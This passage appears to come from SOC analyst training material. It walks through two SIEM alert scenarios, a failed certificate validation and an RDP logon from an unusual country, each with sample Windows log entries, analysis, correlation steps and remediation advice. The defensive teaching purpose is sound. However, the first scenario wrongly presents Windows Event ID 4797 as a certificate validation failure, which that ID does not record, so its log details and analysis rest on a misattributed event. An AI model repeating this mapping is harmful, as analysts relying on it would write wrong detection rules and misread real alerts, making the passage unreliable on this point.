A SIEM alert is triggered by Event ID **4797**, indicating that a certificate validation process failed. This could signal a potential man-in-the-middle (MITM) attack, expired certificates or unauthorised systems attempting to authenticate.

Step 1: Log Details

Log Entry: Failed Certificate Validation (Event ID: 4797)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4797

Level: Information

Description:

A certificate validation operation failed.

- User: CONTOSO\service.account

- Hostname: DC-01

- Target System: WS-2048

- Certificate Thumbprint: ABCD1234567890FEDCBA0987654321DC

- Validation Error: CERT_TRUST_IS_UNTRUSTED_ROOT

- Timestamp: 2024-12-09 11:45:22

Step 2: Analysis

1. Indicators of Concern

- **Untrusted Root Error:** The certificate chain terminates in an untrusted root, suggesting an invalid certificate or an untrusted certification authority.
- **Service Account Involvement:** The failure occurred while using a privileged service account, which could indicate credential misuse.

- **Target System:** Validation was attempted on WS-2048, suggesting a client-server authentication attempt failed.

2. Correlation with Other Logs

- **Network Traffic:** Check network logs for unusual connections involving DC-01 and WS-2048 around the event time.
- **Authentication Attempts:** Review Event IDs **4624** and **4625** for any failed logins linked to the same service account.
- **Certificate Details:** Validate whether the thumbprint matches an expired, revoked or malicious certificate.

3. Threat Context

- **Potential Risks:**
    - An attacker may have replaced a legitimate certificate to intercept communications.
    - A misconfigured or expired certificate could disrupt critical services.
- **Threat Actor:** This could be a misconfiguration or an attack involving certificate spoofing or MITM tactics.

Step 3: Recommendations

1. Immediate Actions

- **Isolate Host:** Temporarily disconnect WS-2048 to prevent further potential compromise.
- **Verify Certificate:** Ensure the certificate thumbprint matches known valid certificates. If not, revoke and replace it.
- **Alert Privileged Account Owner:** Notify the owner of service.account to confirm legitimate usage.

2. Investigative Steps

- **Certificate Chain Analysis:** Inspect the entire certificate chain for validity, including expiration dates and root CA status.

- **Review Recent Changes:** Audit recent system changes on DC-01 and WS-2048, such as software updates or configuration modifications.
- **Threat Intelligence:** Cross-reference the certificate thumbprint with known malware or phishing campaigns.

3. Preventive Measures

- **Automate Certificate Monitoring:** Use tools to monitor and alert on certificate expiration and untrusted roots.
- **Enforce Certificate Policies:** Require all certificates to be signed by trusted internal or public certification authorities.
- **Train Administrators:** Ensure system administrators are trained to handle certificate lifecycle management.

Step 4: Monitoring the Aftermath

- **Set SIEM Alerts:** Monitor for recurring Event ID **4797** occurrences involving the same certificate or host.
- **Audit Communication:** Verify secure communication between DC-01 and WS-2048 using a validated certificate.
- **Incident Reporting:** Document findings in a detailed report to improve future detection and response efforts.

Scenario 20: Detection Of Logon From Unusual Locations

A SIEM alert is triggered by Event ID **4624**, indicating a successful logon attempt from an unusual geographic location. This behaviour is often associated with compromised accounts or unauthorised access attempts.

Step 1: Log Details

Log Entry: Successful Logon (Event ID: 4624)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4624

Level: Information

Description:

An account successfully logged on.

- User: CONTOSO\izzmier

- Logon Type: 10 (Remote Interactive - RDP)

- Source IP: 203.0.113.45

- Hostname: WS-2019

- Timestamp: 2024-12-09 09:15:34

- Target Server: FILE-SERVER-01

- Authentication Package: NTLM

- Process Name: C:\Windows\System32\mstsc.exe

Step 2: Analysis

1. Geolocation Analysis

- **Source IP:** 203.0.113.45 is traced to an IP address registered in **Bangkok, Thailand**.
- **Known User Location:** The user's usual logins occur from **Kuala Lumpur, Malaysia**.

- **Travel Analysis:** No travel records for the user suggest a legitimate reason for accessing the system from this location.

2. Behavioural Indicators

- **Remote Access via RDP (Logon Type 10):** This is commonly exploited in brute-force or credential-stuffing attacks.
- **NTLM Authentication:** Indicates the use of a weaker authentication protocol, potentially making the system more susceptible to attacks.

3. Correlation with Other Logs

- **Failed Logons:** Look for multiple failed login attempts (Event ID **4625**) from the same IP before the successful logon.
- **Network Activity:** Check outbound traffic from FILE-SERVER-01 to detect data exfiltration attempts.
- **User Behaviour:** Review recent activity for izzmier to identify anomalies such as file access or privilege escalations.

4. Threat Context

- **Potential Risks:**
    - Account compromise through phishing or credential theft.
    - An attacker using the compromised account for lateral movement or data theft.
- **Threat Actor:** Likely an external attacker or insider operating remotely from a spoofed IP.

Step 3: Recommendations

1. Immediate Actions

- **Block Source IP:** Add 203.0.113.45 to the firewall deny list.
- **Disable Account:** Temporarily disable izzmier's account to prevent further misuse.
- **Alert User:** Notify the user and confirm if they initiated the session.

2. Investigative Steps

- **IP Reputation Check:** Use tools like VirusTotal or AbuseIPDB to verify if the IP is linked to malicious activities.
- **Audit RDP Settings:** Ensure RDP is restricted to a VPN or internal network to reduce exposure.
- **Account Activity Review:** Examine logs for actions performed by izzmier post-login, including file access and administrative changes.

3. Preventive Measures

- **Implement MFA:** Enforce multi-factor authentication for all remote logins to prevent unauthorised access.
- **Geofencing Rules:** Configure alerts for logins from unusual geographic locations.
- **Monitor RDP Use:** Regularly audit remote desktop connections and restrict access to authorised personnel only.

Step 4: Monitoring the Aftermath

- **Set SIEM Alerts:** Monitor for subsequent logins from the same IP or other unusual locations.
- **Track Failed Attempts:** Establish rules to detect brute-force attempts linked to izzmier or similar accounts.
- **Incident Reporting:** Share findings with the security team to strengthen response protocols.